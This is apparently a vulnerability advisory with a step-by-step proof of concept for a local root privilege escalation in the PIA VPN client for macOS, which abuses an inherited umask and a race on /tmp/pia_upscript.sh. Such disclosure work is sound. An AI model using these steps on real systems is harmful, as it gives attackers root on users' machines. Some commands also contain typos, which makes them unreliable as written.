ASA-2019-00383 – London Trust Media Private Internet Access: Insecure umask
London Trust Media
Private Internet Access (PIA) VPN Client
Private Internet Access (PIA) VPN Client for macOS v82
Private Internet Access (PIA) VPN Client for macOS v1.2.1 or later
Proof of concept
A vulnerability in the London Trust Media Private Internet Access (PIA) VPN Client v82 for macOS could allow an authenticated, local attacker to run arbitrary code with elevated privileges.
The PIA macOS binary openvpn_launcher.64 is setuid root. This binary creates /tmp/pia_upscript.sh when executed. Because the file creation mask(umask) is not reset, the umask value is inherited from the calling process. This value can be manipulated to cause the privileged binary to create files with world writable permissions. A local unprivileged user can modify /tmp/pia_upscript.sh during the connect process to execute arbitrary code as the root user.
All steps are executed as a low privileged user.
Step 1 – set umask to 0000.
Step 2 – Verify the mask is 0000.
Step 3 – Execute openvpn_launcher.64. This will create /tmp/pia_upscript.sh with permissions of 777
# macOS /Applications/Private\ Internet\ Access.app/Contents/Resources/openvpn_launcher 2>/dv/null
Step 4 – Verify /tmp/pia_upscript.sh is word writable
ls -ld /tmp/pia_upscript.sh
Step 5 – Create a copy of /tmp/pia_upscript.sh.
cp /tmp/pia_upscript.sh /tmp/pia_upscript.sh.woot
Step 6 – Insert arbitrary code in /tmp/pia_upscript.sh.woot.
For this PoC we will execute the id command and pipe the output to wall. This will display the uid/gid via a system broadcast message.
# Add this line to line #2 of the /tmp/pia_upscript.sh.woot. python -c 'import os;os.setuid(0);os.system("id|wall");’
Step 7 – Beat the race condition by continuously overwriting /tmp/pia_upscript.sh. Put the job in the background. This is required because during the connection process the script will be overwritten.
cd /tmp while true; do cp pia_upscript.sh.woot pia_upscript.sh;done &
Step 8 – Execute run.sh to open the PIA GUI client
/Applications/Private\ Internet\ Access.app/Contents/MacOS/run.sh
Step 9 – Login and connect to the VPN
During the connection process /tmp/pia_upscript.sh will be executed as root and you should see a wall message showing the output of id command with uid=0.
PIA macOS Privilege Escalation: Insecure umask